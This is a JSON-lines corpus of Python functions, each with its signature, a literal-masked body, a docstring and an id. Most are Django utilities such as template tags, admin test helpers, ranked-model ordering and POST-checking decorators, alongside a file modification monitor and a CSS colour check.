{"signature": "def match(self, subsetLines, offsetOfSubset, fileName):", "body": "for (offset,l) in enumerate(subsetLines):<EOL><INDENT>for literal in self.literals:<EOL><INDENT>column = l.find(literal.Literal)<EOL>if column != -<NUM_LIT:1>:<EOL><INDENT>truePosition = offset + offsetOfSubset<EOL>_logger.debug('<STR_LIT>'.format(line=str(truePosition+ <NUM_LIT:1>), col=column))<EOL>_logger.debug('<STR_LIT>'.format(l))<EOL>self.failed = True<EOL>self.matchLocation = CheckFileParser.FileLocation(fileName, truePosition +<NUM_LIT:1>)<EOL>raise DirectiveException(self)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Search through lines for match.\nRaise an Exception if a match", "id": "f9953:c9:m3"}
{"signature": "def scriptEntryPoint():", "body": "import sys<EOL>return main(sys.argv)<EOL>", "docstring": "This provides an entry point for disutils", "id": "f9955:m2"}
{"signature": "def add_file(self, file, **kwargs):", "body": "if os.access(file, os.F_OK):<EOL><INDENT>if file in self.f_repository:<EOL><INDENT>raise DuplicationError(\"<STR_LIT>\")<EOL><DEDENT>self.f_repository.append(file)<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Append a file to file repository.\n\n        For file monitoring, monitor instance needs file.\n        Please put the name of file to `file` argument.\n\n        :param file: the name of file you want monitor.", "id": "f9958:c3:m1"}
{"signature": "def add_files(self, filelist, **kwargs):", "body": "<EOL>if not isinstance(filelist, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>for file in filelist:<EOL><INDENT>self.add_file(file)<EOL><DEDENT>", "docstring": "Append files to file repository.\n\n        ModificationMonitor can append files to repository using this.\n        Please put the list of file names to `filelist` argument.\n\n        :param filelist: the list of file nmaes", "id": "f9958:c3:m2"}
{"signature": "def monitor(self, sleep=<NUM_LIT:5>):", "body": "manager = FileModificationObjectManager()<EOL>timestamps = {}<EOL>filebodies = {}<EOL>for file in self.f_repository:<EOL><INDENT>timestamps[file] = self._get_mtime(file)<EOL>filebodies[file] = open(file).read()<EOL><DEDENT>while True:<EOL><INDENT>for file in self.f_repository:<EOL><INDENT>mtime = timestamps[file]<EOL>fbody = filebodies[file]<EOL>modified = self._check_modify(file, mtime, fbody)<EOL>if not modified:<EOL><INDENT>continue<EOL><DEDENT>new_mtime = self._get_mtime(file)<EOL>new_fbody = open(file).read()<EOL>obj = FileModificationObject(<EOL>file,<EOL>(mtime, new_mtime),<EOL>(fbody, new_fbody) )<EOL>timestamps[file] = new_mtime<EOL>filebodies[file] = new_fbody<EOL>manager.add_object(obj)<EOL>yield obj<EOL><DEDENT>time.sleep(sleep)<EOL><DEDENT>", "docstring": "Run file modification monitor.\n\n        The monitor can catch file modification using timestamp and file body. \n        Monitor has timestamp data and file body data. And insert timestamp \n        data and file body data before into while roop. In while roop, monitor \n        get new timestamp and file body, and then monitor compare new timestamp\n        to originaltimestamp. If new timestamp and file body differ original,\n        monitor regard thease changes as `modification`. Then monitor create\n        instance of FileModificationObjectManager and FileModificationObject,\n        and monitor insert FileModificationObject to FileModificationObject-\n        Manager. Then, yield this object.\n\n        :param sleep: How times do you sleep in while roop.", "id": "f9958:c3:m3"}
{"signature": "def is_colour(value):", "body": "global PREDEFINED, HEX_MATCH, RGB_MATCH, RGBA_MATCH, HSL_MATCH, HSLA_MATCH<EOL>value = value.strip()<EOL>if HEX_MATCH.match(value) or RGB_MATCH.match(value) orRGBA_MATCH.match(value) or HSL_MATCH.match(value) orHSLA_MATCH.match(value) or value in PREDEFINED:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Returns True if the value given is a valid CSS colour, i.e. matches one\n    of the regular expressions in the module or is in the list of\n    predetefined values by the browser.", "id": "f9962:m0"}
{"signature": "@register.filter<EOL>def getitem(dictionary, keyvar):", "body": "try:<EOL><INDENT>return dictionary[keyvar]<EOL><DEDENT>except KeyError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Custom django template filter that allows access to an item of a\n    dictionary through the key contained in a template variable.  Example:\n\n    .. code-block:: python\n\n        context_data = {\n            'data':{\n                'foo':'bar',\n            },\n            'key':'foo',\n        }\n\n        template = Template('{% load awltags %}{{data|getitem:key}}')\n        context = Context(context_data)\n        result = template.render(context)\n\n        >>> result\n        'bar'\n\n    .. note::\n        Any KeyErrors are ignored and return an empty string", "id": "f9980:m0"}
{"signature": "@register.tag<EOL>def accessor(parser, token):", "body": "contents = token.split_contents()<EOL>tag = contents[<NUM_LIT:0>]<EOL>if len(contents) < <NUM_LIT:3>:<EOL><INDENT>raise template.TemplateSyntaxError(('<STR_LIT>'<EOL>'<STR_LIT>') % tag)<EOL><DEDENT>as_var = None<EOL>if len(contents) >= <NUM_LIT:4>:<EOL><INDENT>if contents[-<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>as_var = contents[-<NUM_LIT:1>]<EOL>contents = contents[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>return AccessorNode(contents[<NUM_LIT:1>], contents[<NUM_LIT:2>:], as_var)<EOL>", "docstring": "This template tag is used to do complex nested attribute accessing of\n    an object.  The first parameter is the object being accessed, subsequent\n    paramters are one of: \n\n    * a variable in the template context\n    * a literal in the template context\n    * either of the above surrounded in square brackets\n\n    For each variable or literal parameter given a `getattr` is called on the\n    object, chaining to the next parameter.  For any sqaure bracket enclosed\n    items the access is done through a dictionary lookup.\n\n    Example::\n\n        {% accessor car where 'front_seat' [position] ['fabric'] %}\n\n    The above would result in the following chain of commands:\n\n    .. code-block:: python\n\n        ref = getattr(car, where)\n        ref = getattr(ref, 'front_seat')\n        ref = ref[position]\n        return ref['fabric']\n\n    This tag also supports \"as\" syntax, putting the results into a template\n    variable::\n\n        {% accessor car 'interior' as foo %}", "id": "f9980:m1"}
{"signature": "def django_logging_dict(log_dir, handlers=['<STR_LIT:file>'], filename='<STR_LIT>'):", "body": "d = default_logging_dict(log_dir, handlers, filename)<EOL>d['<STR_LIT>'].update({<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT:class>':'<STR_LIT>',<EOL>}<EOL>})<EOL>d['<STR_LIT>'].update({<EOL>'<STR_LIT>': { <EOL>'<STR_LIT>': ['<STR_LIT:file>', '<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': False,<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': ['<STR_LIT:file>', '<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': False,<EOL>},<EOL>})<EOL>return d<EOL>", "docstring": "Extends :func:`logthing.utils.default_logging_dict` with django\n    specific values.", "id": "f9982:m0"}
{"signature": "def extra_context(request):", "body": "host = os.environ.get('<STR_LIT>', None)or request.get_host()<EOL>d = {<EOL>'<STR_LIT>':request,<EOL>'<STR_LIT>':host,<EOL>'<STR_LIT>':request.path.startswith('<STR_LIT>'),<EOL>}<EOL>return d<EOL>", "docstring": "Adds useful global items to the context for use in templates.\n\n    * *request*: the request object\n    * *HOST*: host name of server\n    * *IN_ADMIN*: True if you are in the django admin area", "id": "f9984:m0"}
{"signature": "def create_admin(username='<STR_LIT>', email='<STR_LIT>', password='<STR_LIT>'):", "body": "admin = User.objects.create_user(username, email, password)<EOL>admin.is_staff = True<EOL>admin.is_superuser = True<EOL>admin.save()<EOL>return admin<EOL>", "docstring": "Create and save an admin user.\n\n    :param username:\n        Admin account's username.  Defaults to 'admin'\n    :param email:\n        Admin account's email address.  Defaults to 'admin@admin.com'\n    :param password:\n        Admin account's password.  Defaults to 'admin'\n    :returns:\n        Django user with staff and superuser privileges", "id": "f9985:m0"}
{"signature": "def messages_from_response(response):", "body": "messages = []<EOL>if hasattr(response, '<STR_LIT>') and response.context and'<STR_LIT>' in response.context:<EOL><INDENT>messages = response.context['<STR_LIT>']<EOL><DEDENT>elif hasattr(response, '<STR_LIT>'):<EOL><INDENT>morsel = response.cookies.get('<STR_LIT>')<EOL>if not morsel:<EOL><INDENT>return []<EOL><DEDENT>from django.contrib.messages.storage.cookie import CookieStorage<EOL>store = CookieStorage(FakeRequest())<EOL>messages = store._decode(morsel.value)<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>return [(m.message, m.level) for m in messages]<EOL>", "docstring": "Returns a list of the messages from the django MessageMiddleware\n    package contained within the given response.  This is to be used during\n    unit testing when trying to see if a message was set properly in a view.\n\n    :param response: HttpResponse object, likely obtained through a\n        test client.get() or client.post() call\n\n    :returns: a list of tuples (message_string, message_level), one for each\n        message in the response context", "id": "f9985:m1"}
{"signature": "def __init__(self, user=None, method='<STR_LIT:GET>', cookies={}, data={}):", "body": "super(FakeRequest, self).__init__()<EOL>self.method = method<EOL>self.COOKIES = cookies<EOL>if user:<EOL><INDENT>self.user = user<EOL><DEDENT>if method == '<STR_LIT:GET>':<EOL><INDENT>self.GET = data<EOL><DEDENT>else:<EOL><INDENT>self.POST = data<EOL><DEDENT>self.path = '<STR_LIT>'<EOL>", "docstring": "Constructor\n\n        :param user:\n            Django User object to include in the request.  Defaults to None.\n            If none is given then the parameter is not set at all\n        :param method:\n            Request method.  Defaults to 'GET'\n        :param cookies:\n            Dict containing cookies for the request.  Defaults to empty\n        :param data:\n            Dict for get or post fields.  Defaults to empty", "id": "f9985:c0:m0"}
{"signature": "def initiate(self):", "body": "self.site = admin.sites.AdminSite()<EOL>self.admin_user = create_admin(self.USERNAME, self.EMAIL, self.PASSWORD)<EOL>self.authed = False<EOL>", "docstring": "Sets up the :class:`AdminSite` and creates a user with the\n        appropriate privileges.  This should be called from the inheritor's\n        :class:`TestCase.setUp` method.", "id": "f9985:c1:m0"}
{"signature": "def authorize(self):", "body": "response = self.client.login(username=self.USERNAME, <EOL>password=self.PASSWORD)<EOL>self.assertTrue(response)<EOL>self.authed = True<EOL>", "docstring": "Authenticates the superuser account via the web login.", "id": "f9985:c1:m1"}
{"signature": "def authed_get(self, url, response_code=<NUM_LIT:200>, headers={}, follow=False):", "body": "if not self.authed:<EOL><INDENT>self.authorize()<EOL><DEDENT>response = self.client.get(url, follow=follow, **headers)<EOL>self.assertEqual(response_code, response.status_code)<EOL>return response<EOL>", "docstring": "Does a django test client ``get`` against the given url after\n        logging in the admin first.\n\n        :param url:\n            URL to fetch\n        :param response_code:\n            Expected response code from the URL fetch.  This value is\n            asserted.  Defaults to 200\n        :param headers:\n            Optional dictionary of headers to send in the request\n        :param follow:\n            When True, the get call will follow any redirect requests.\n            Defaults to False.\n        :returns:\n            Django testing ``Response`` object", "id": "f9985:c1:m2"}
{"signature": "def authed_post(self, url, data, response_code=<NUM_LIT:200>, follow=False,<EOL>headers={}):", "body": "if not self.authed:<EOL><INDENT>self.authorize()<EOL><DEDENT>response = self.client.post(url, data, follow=follow, **headers)<EOL>self.assertEqual(response_code, response.status_code)<EOL>return response<EOL>", "docstring": "Does a django test client ``post`` against the given url after\n        logging in the admin first.\n\n        :param url:\n            URL to fetch\n        :param data:\n            Dictionary to form contents to post\n        :param response_code:\n            Expected response code from the URL fetch.  This value is\n            asserted.  Defaults to 200\n        :param headers:\n            Optional dictionary of headers to send in with the request\n        :returns:\n            Django testing ``Response`` object", "id": "f9985:c1:m3"}
{"signature": "def visit_admin_link(self, admin_model, instance, field_name,<EOL>response_code=<NUM_LIT:200>, headers={}):", "body": "html = self.field_value(admin_model, instance, field_name)<EOL>url, text = parse_link(html)<EOL>if not url:<EOL><INDENT>raise AttributeError('<STR_LIT>' % html)<EOL><DEDENT>return self.authed_get(url, response_code=response_code,<EOL>headers=headers)<EOL>", "docstring": "This method is used for testing links that are in the change list\n        view of the django admin.  For the given instance and field name, the\n        HTML link tags in the column are parsed for a URL and then invoked\n        with :class:`AdminToolsMixin.authed_get`.\n\n        :param admin_model:\n            Instance of a :class:`admin.ModelAdmin` object that is responsible\n            for displaying the change list\n        :param instance:\n            Object instance that is the row in the admin change list\n        :param field_name:\n            Name of the field/column to containing the HTML link to get a URL\n            from to visit\n        :param response_code:\n            Expected HTTP status code resulting from the call.  The value of\n            this is asserted.  Defaults to 200.\n        :param headers:\n            Optional dictionary of headers to send in the request\n        :returns:\n            Django test ``Response`` object\n        :raises AttributeError:\n            If the column does not contain a URL that can be parsed", "id": "f9985:c1:m4"}
{"signature": "def field_value(self, admin_model, instance, field_name):", "body": "_, _, value = lookup_field(field_name, instance, admin_model)<EOL>return value<EOL>", "docstring": "Returns the value displayed in the column on the web interface for\n        a given instance.\n\n        :param admin_model:\n            Instance of a :class:`admin.ModelAdmin` object that is responsible\n            for displaying the change list\n        :param instance:\n            Object instance that is the row in the admin change list\n        :field_name:\n            Name of the field/column to fetch", "id": "f9985:c1:m5"}
{"signature": "def field_names(self, admin_model):", "body": "request = FakeRequest(user=self.admin_user)<EOL>return admin_model.get_list_display(request)<EOL>", "docstring": "Returns the names of the fields/columns used by the given admin\n        model.\n\n        :param admin_model:\n            Instance of a :class:`admin.ModelAdmin` object that is responsible\n            for displaying the change list\n        :returns:\n            List of field names", "id": "f9985:c1:m6"}
{"signature": "def render_page(request, page_name, data={}):", "body": "return render(request, page_name, data)<EOL>", "docstring": ".. deprecated:: 0.12\n    Use ``django.shortcuts.render`` instead\n\nThis function was a wrapper for ``render_to_response`` that handled\nrequest context.  The ``django.shortcuts.render`` method does the same\nthing, so this just wraps that now.", "id": "f9990:m0"}
{"signature": "def render_page_to_string(request, page_name, data={}):", "body": "return render_to_string(page_name, data, request=request)<EOL>", "docstring": "A shortcut for using ``render_to_string`` with a\n    :class:`RequestContext` automatically.", "id": "f9990:m1"}
{"signature": "def refetch(obj):", "body": "return obj.__class__.objects.get(id=obj.id)<EOL>", "docstring": "Queries the database for the same object that is passed in, refetching\n    its contents in case they are stale.\n\n    :param obj:\n        Object to refetch\n\n    :returns:\n        Refreshed version of the object", "id": "f9990:m2"}
{"signature": "def refetch_for_update(obj):", "body": "return obj.__class__.objects.select_for_update().get(id=obj.id)<EOL>", "docstring": "Queries the database for the same object that is passed in, refetching\n    its contents and runs ``select_for_update()`` to lock the corresponding\n    row until the next commit.\n\n    :param obj:\n        Object to refetch\n    :returns:\n        Refreshed version of the object", "id": "f9990:m3"}
{"signature": "def get_field_names(obj, ignore_auto=True, ignore_relations=True, <EOL>exclude=[]):", "body": "from django.db.models import (AutoField, ForeignKey, ManyToManyField, <EOL>ManyToOneRel, OneToOneField, OneToOneRel)<EOL>for field in obj._meta.get_fields():<EOL><INDENT>if ignore_auto and isinstance(field, AutoField):<EOL><INDENT>continue<EOL><DEDENT>if ignore_relations and (isinstance(field, ForeignKey) or<EOL>isinstance(field, ManyToManyField) or<EOL>isinstance(field, ManyToOneRel) or<EOL>isinstance(field, OneToOneRel) or<EOL>isinstance(field, OneToOneField)):<EOL><INDENT>a = <NUM_LIT:1>; a<EOL>continue<EOL><DEDENT>if field.name in exclude:<EOL><INDENT>continue<EOL><DEDENT>yield field.name<EOL><DEDENT>", "docstring": "Returns the field names of a Django model object.\n\n    :param obj: the Django model class or object instance to get the fields\n        from\n    :param ignore_auto: ignore any fields of type AutoField. Defaults to True\n    :param ignore_relations: ignore any fields that involve relations such as\n        the ForeignKey or ManyToManyField\n    :param exclude: exclude anything in this list from the results\n\n    :returns: generator of found field names", "id": "f9990:m4"}
{"signature": "def get_obj_attr(obj, attr):", "body": "<EOL>fields = attr.split('<STR_LIT>')<EOL>field_obj = getattr(obj, fields[<NUM_LIT:0>])<EOL>for field in fields[<NUM_LIT:1>:]:<EOL><INDENT>field_obj = getattr(field_obj, field)<EOL><DEDENT>return field_obj<EOL>", "docstring": "Works like getattr() but supports django's double underscore object\n    dereference notation.\n\n    Example usage:\n\n    .. code-block:: python\n\n        >>> get_obj_attr(book, 'writer__age')\n        42\n        >>> get_obj_attr(book, 'publisher__address')\n        <Address object at 105a79ac8>\n\n    :param obj: \n        Object to start the derference from\n\n    :param attr:\n        String name of attribute to return\n\n    :returns:\n        Derferenced object \n\n    :raises:\n        AttributeError in the attribute in question does not exist", "id": "f9990:m5"}
{"signature": "def as_list(self):", "body": "result = []<EOL>for child in self.children:<EOL><INDENT>self._depth_traversal(child, result)<EOL><DEDENT>return result<EOL>", "docstring": "Returns a list of strings describing the full paths and patterns\n        along with the name of the urls.  Example:\n\n        .. code-block::python\n            >>> u = URLTree()\n            >>> u.as_list()\n            [\n                'admin/',\n                'admin/$, name=index',\n                'admin/login/$, name=login',\n            ]", "id": "f9990:c0:m3"}
{"signature": "def print_tree(self):", "body": "for line in self.as_list():<EOL><INDENT>print(line)<EOL><DEDENT>", "docstring": "Convenience method for printing the results of\n        :class:`URLTree.as_list` to STDOUT", "id": "f9990:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def increment(cls, name):<DEDENT>", "body": "with transaction.atomic():<EOL><INDENT>counter = Counter.objects.select_for_update().get(name=name)<EOL>counter.value += <NUM_LIT:1><EOL>counter.save()<EOL><DEDENT>return counter.value<EOL>", "docstring": "Call this method to increment the named counter.  This is atomic on\n        the database.\n\n        :param name:\n            Name for a previously created ``Counter`` object", "id": "f9991:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def lock_until_commit(cls, name):<DEDENT>", "body": "Lock.objects.select_for_update().get(name=name)<EOL>", "docstring": "Grabs this lock and holds it (using ``select_for_update()``) until\n        the next commit is done.\n\n        :param name:\n            Name for a previously created ``Lock`` object", "id": "f9991:c1:m0"}
{"signature": "def count(self):", "body": "return sum(qs.count() for qs in self.querysets)<EOL>", "docstring": "Performs a .count() for all subquerysets and returns the number of\nrecords as an integer.", "id": "f9991:c4:m1"}
{"signature": "def _clone(self):", "body": "return self.__class__(*self.querysets)<EOL>", "docstring": "Returns a clone of this queryset chain", "id": "f9991:c4:m2"}
{"signature": "def _all(self):", "body": "return chain(*self.querysets)<EOL>", "docstring": "Iterates records in all subquerysets", "id": "f9991:c4:m3"}
{"signature": "def __getitem__(self, index):", "body": "if type(index) is slice:<EOL><INDENT>return list(islice(self._all(), index.start, index.stop, <EOL>index.step or <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>return next(islice(self._all(), index, index+<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "Retrieves an item or slice from the chained set of results from all\nsubquerysets.", "id": "f9991:c4:m4"}
{"signature": "def post_required(method_or_options=[]):", "body": "def decorator(method):<EOL><INDENT>expected_fields = []<EOL>if not callable(method_or_options):<EOL><INDENT>expected_fields = method_or_options<EOL><DEDENT>@wraps(method)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>request = args[<NUM_LIT:0>]<EOL>if request.method != '<STR_LIT:POST>':<EOL><INDENT>logger.error('<STR_LIT>')<EOL>raise Http404('<STR_LIT>')<EOL><DEDENT>missing = []<EOL>for field in expected_fields:<EOL><INDENT>if field not in request.POST:<EOL><INDENT>missing.append(field)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>s = '<STR_LIT>' % missing<EOL>logger.error(s)<EOL>raise Http404(s)<EOL><DEDENT>return method(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>if callable(method_or_options):<EOL><INDENT>return decorator(method_or_options)<EOL><DEDENT>return decorator<EOL>", "docstring": "View decorator that enforces that the method was called using POST.\n    This decorator can be called with or without parameters.  As it is\n    expected to wrap a view, the first argument of the method being wrapped is\n    expected to be a ``request`` object.\n\n    .. code-block:: python\n\n        @post_required\n        def some_view(request):\n            pass\n\n\n        @post_required(['firstname', 'lastname'])\n        def some_view(request):\n            pass\n\n    The optional parameter contains a single list which specifies the names of\n    the expected fields in the POST dictionary.  The list is not exclusive,\n    you can pass in fields that are not checked by the decorator.\n\n    :param options:\n        List of the names of expected POST keys.", "id": "f9992:m0"}
{"signature": "def json_post_required(*decorator_args):", "body": "def decorator(method):<EOL><INDENT>@wraps(method)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>field = decorator_args[<NUM_LIT:0>]<EOL>if len(decorator_args) == <NUM_LIT:2>:<EOL><INDENT>request_name = decorator_args[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>request_name = field<EOL><DEDENT>request = args[<NUM_LIT:0>]<EOL>if request.method != '<STR_LIT:POST>':<EOL><INDENT>logger.error('<STR_LIT>')<EOL>raise Http404('<STR_LIT>')<EOL><DEDENT>if field not in request.POST:<EOL><INDENT>s = '<STR_LIT>' % field<EOL>logger.error(s)<EOL>raise Http404(s)<EOL><DEDENT>setattr(request, request_name, json.loads(request.POST[field]))<EOL>return method(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "View decorator that enforces that the method was called using POST and\n    contains a field containing a JSON dictionary. This method should\n    only be used to wrap views and assumes the first argument of the method\n    being wrapped is a ``request`` object.\n\n    .. code-block:: python\n\n        @json_post_required('data', 'json_data')\n        def some_view(request):\n            username = request.json_data['username']\n\n    :param field:\n        The name of the POST field that contains a JSON dictionary\n    :param request_name:\n        [optional] Name of the parameter on the request to put the\n        deserialized JSON data. If not given the field name is used", "id": "f9992:m1"}
{"signature": "@staff_member_required<EOL>def move(request, content_type_id, obj_id, rank):", "body": "content_type = ContentType.objects.get_for_id(content_type_id)<EOL>obj = get_object_or_404(content_type.model_class(), id=obj_id)<EOL>obj.rank = int(rank)<EOL>obj.save()<EOL>return HttpResponseRedirect(request.META['<STR_LIT>'])<EOL>", "docstring": "View to be used in the django admin for changing a :class:`RankedModel`\n    object's rank.  See :func:`admin_link_move_up` and\n    :func:`admin_link_move_down` for helper functions to incoroprate in your\n    admin models.\n\n    Upon completion this view sends the caller back to the referring page.\n\n    :param content_type_id:\n        ``ContentType`` id of object being moved\n    :param obj_id:\n        ID of object being moved\n    :param rank:\n        New rank of the object", "id": "f9993:m0"}
{"signature": "@transaction.atomic<EOL><INDENT>def save(self, *args, **kwargs):<DEDENT>", "body": "rerank = kwargs.pop('<STR_LIT>', True)<EOL>if rerank:<EOL><INDENT>if not self.id:<EOL><INDENT>self._process_new_rank_obj()<EOL><DEDENT>elif self.rank == self._rank_at_load:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>self._process_moved_rank_obj()<EOL><DEDENT><DEDENT>super(RankedModel, self).save(*args, **kwargs)<EOL>", "docstring": "Overridden method that handles that re-ranking of objects and the\n        integrity of the ``rank`` field.\n\n        :param rerank:\n            Added parameter, if True will rerank other objects based on the\n            change in this save.  Defaults to True.", "id": "f9995:c0:m3"}
{"signature": "def grouped_filter(self):", "body": "return self.__class__.objects.all()<EOL>", "docstring": "This method should be overridden in order to allow groupings of\n        ``RankModel`` objects.  The default is there is a single group which\n        are all instances of the inheriting class.  \n\n        An example with a grouped model would be::\n\n            class Grouped(RankedModel):\n                group_number = models.IntegerField()\n\n                def grouped_filter(self):\n                    return Grouped.objects.filter(\n                        group_number=self.group_number)\n\n        :returns:\n            :class:`QuerySet` of ``RankedModel`` objects that are in the same\n            group.", "id": "f9995:c0:m4"}
{"signature": "def repack(self):", "body": "items = self.grouped_filter().order_by('<STR_LIT>').select_for_update()<EOL>for count, item in enumerate(items):<EOL><INDENT>item.rank = count + <NUM_LIT:1><EOL>item.save(rerank=False)<EOL><DEDENT>", "docstring": "Removes any blank ranks in the order.", "id": "f9995:c0:m5"}
{"signature": "def admin_link_move_up(obj, link_text='<STR_LIT>'):", "body": "if obj.rank == <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>content_type = ContentType.objects.get_for_model(obj)<EOL>link = reverse('<STR_LIT>', args=(content_type.id, obj.id, <EOL>obj.rank - <NUM_LIT:1>))<EOL>return '<STR_LIT>' % (link, link_text)<EOL>", "docstring": "Returns a link to a view that moves the passed in object up in rank.\n\n    :param obj:\n        Object to move\n    :param link_text:\n        Text to display in the link.  Defaults to \"up\"\n    :returns:\n        HTML link code to view for moving the object", "id": "f9996:m0"}
{"signature": "def admin_link_move_down(obj, link_text='<STR_LIT>'):", "body": "if obj.rank == obj.grouped_filter().count():<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>content_type = ContentType.objects.get_for_model(obj)<EOL>link = reverse('<STR_LIT>', args=(content_type.id, obj.id, <EOL>obj.rank + <NUM_LIT:1>))<EOL>return '<STR_LIT>' % (link, link_text)<EOL>", "docstring": "Returns a link to a view that moves the passed in object down in rank.\n\n    :param obj:\n        Object to move\n    :param link_text:\n        Text to display in the link.  Defaults to \"down\"\n    :returns:\n        HTML link code to view for moving the object", "id": "f9996:m1"}
{"signature": "def admin_obj_link(obj, display='<STR_LIT>'):", "body": "<EOL>url = reverse('<STR_LIT>' % (obj._meta.app_label,<EOL>obj._meta.model_name))<EOL>url += '<STR_LIT>' % obj.id<EOL>text = str(obj)<EOL>if display:<EOL><INDENT>text = display<EOL><DEDENT>return format_html('<STR_LIT>', url, text)<EOL>", "docstring": "Returns a link to the django admin change list with a filter set to\n    only the object given.\n\n    :param obj:\n        Object to create the admin change list display link for\n    :param display:\n        Text to display in the link.  Defaults to string call of the object\n    :returns:\n        Text containing HTML for a link", "id": "f9998:m0"}
{"signature": "def admin_obj_attr(obj, attr):", "body": "try:<EOL><INDENT>field_obj = get_obj_attr(obj, attr)<EOL>if not field_obj:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return field_obj<EOL>", "docstring": "A safe version of :func:``utils.get_obj_attr`` that returns and empty\n    string in the case of an exception or an empty object", "id": "f9998:m1"}
{"signature": "def _obj_display(obj, display='<STR_LIT>'):", "body": "result = '<STR_LIT>'<EOL>if not display:<EOL><INDENT>result = str(obj)<EOL><DEDENT>else:<EOL><INDENT>template = Template(display)<EOL>context = Context({'<STR_LIT>':obj})<EOL>result = template.render(context)<EOL><DEDENT>return result<EOL>", "docstring": "Returns string representation of an object, either the default or based\n    on the display template passed in.", "id": "f9998:m2"}
{"signature": "def make_admin_obj_mixin(name):", "body": "@classmethod<EOL>def add_obj_link(cls, funcname, attr, title='<STR_LIT>', display='<STR_LIT>'):<EOL><INDENT>if not title:<EOL><INDENT>title = attr.capitalize()<EOL><DEDENT>_display = display<EOL>def _link(self, obj):<EOL><INDENT>field_obj = admin_obj_attr(obj, attr)<EOL>if not field_obj:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>text = _obj_display(field_obj, _display)<EOL>return admin_obj_link(field_obj, text)<EOL><DEDENT>_link.short_description = title<EOL>_link.allow_tags = True<EOL>_link.admin_order_field = attr<EOL>setattr(cls, funcname, _link)<EOL><DEDENT>@classmethod<EOL>def add_obj_ref(cls, funcname, attr, title='<STR_LIT>', display='<STR_LIT>'):<EOL><INDENT>if not title:<EOL><INDENT>title = attr.capitalize()<EOL><DEDENT>_display = display<EOL>def _ref(self, obj):<EOL><INDENT>field_obj = admin_obj_attr(obj, attr)<EOL>if not field_obj:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return _obj_display(field_obj, _display)<EOL><DEDENT>_ref.short_description = title<EOL>_ref.allow_tags = True<EOL>_ref.admin_order_field = attr<EOL>setattr(cls, funcname, _ref)<EOL><DEDENT>klass = type(name, (), {})<EOL>klass.add_obj_link = add_obj_link<EOL>klass.add_obj_ref = add_obj_ref<EOL>return klass<EOL>", "docstring": "This method dynamically creates a mixin to be used with your \n    :class:`ModelAdmin` classes.  The mixin provides utility methods that can\n    be referenced in side of the admin object's ``list_display`` and other\n    similar attributes.\n\n    :param name:\n        Each usage of the mixin must be given a unique name for the mixin class\n        being created\n    :returns:\n        Dynamically created mixin class\n\n    The created class supports the following methods:\n\n    .. code-block:: python\n\n        add_obj_ref(funcname, attr, [title, display])\n\n\n    Django admin ``list_display`` does not support the double underscore\n    semantics of object references.  This method adds a function to the mixin\n    that returns the ``str(obj)`` value from object relations.\n\n    :param funcname:\n        Name of the function to be added to the mixin.  In the admin class\n        object that includes the mixin, this name is used in the\n        ``list_display`` tuple.\n    :param attr:\n        Name of the attribute to dereference from the corresponding object,\n        i.e. what will be dereferenced.  This name supports double underscore\n        object link referencing for ``models.ForeignKey`` members.\n    :param title:\n        Title for the column of the django admin table.  If not given it\n        defaults to a capitalized version of ``attr``\n    :param display:\n        What to display as the text in the column.  If not given it defaults\n        to the string representation of the object for the row: ``str(obj)`` .\n        This parameter supports django templating, the context for which\n        contains a dictionary key named \"obj\" with the value being the object\n        for the row.\n\n    .. code-block:: python\n\n        add_obj_link(funcname, attr, [title, display])\n\n\n    This method adds a function to the mixin that returns a link to a django\n    admin change list page for the member attribute of the object being\n    displayed.\n\n    :param funcname:\n        Name of the function to be added to the mixin.  In the admin class\n        object that includes the mixin, this name is used in the\n        ``list_display`` tuple.\n    :param attr:\n        Name of the attribute to dereference from the corresponding object,\n        i.e. what will be lined to.  This name supports double underscore\n        object link referencing for ``models.ForeignKey`` members.\n    :param title:\n        Title for the column of the django admin table.  If not given it\n        defaults to a capitalized version of ``attr``\n    :param display:\n        What to display as the text for the link being shown.  If not given it\n        defaults to the string representation of the object for the row: \n        ``str(obj)`` .  This parameter supports django templating, the context\n        for which contains a dictionary key named \"obj\" with the value being\n        the object for the row.\n\n    Example usage:\n\n    .. code-block:: python\n\n        # ---- models.py file ----\n        class Author(models.Model):\n            name = models.CharField(max_length=100)\n\n\n        class Book(models.Model):\n            title = models.CharField(max_length=100)\n            author = models.ForeignKey(Author, on_delete=models.CASCADE)\n\n\n    .. code-block:: python\n\n        # ---- admin.py file ----\n        @admin.register(Author)\n        class Author(admin.ModelAdmin):\n            list_display = ('name', )\n\n\n        mixin = make_admin_obj_mixin('BookMixin')\n        mixin.add_obj_link('show_author', 'Author', 'Our Authors',\n            '{{obj.name}} (id={{obj.id}})')\n\n   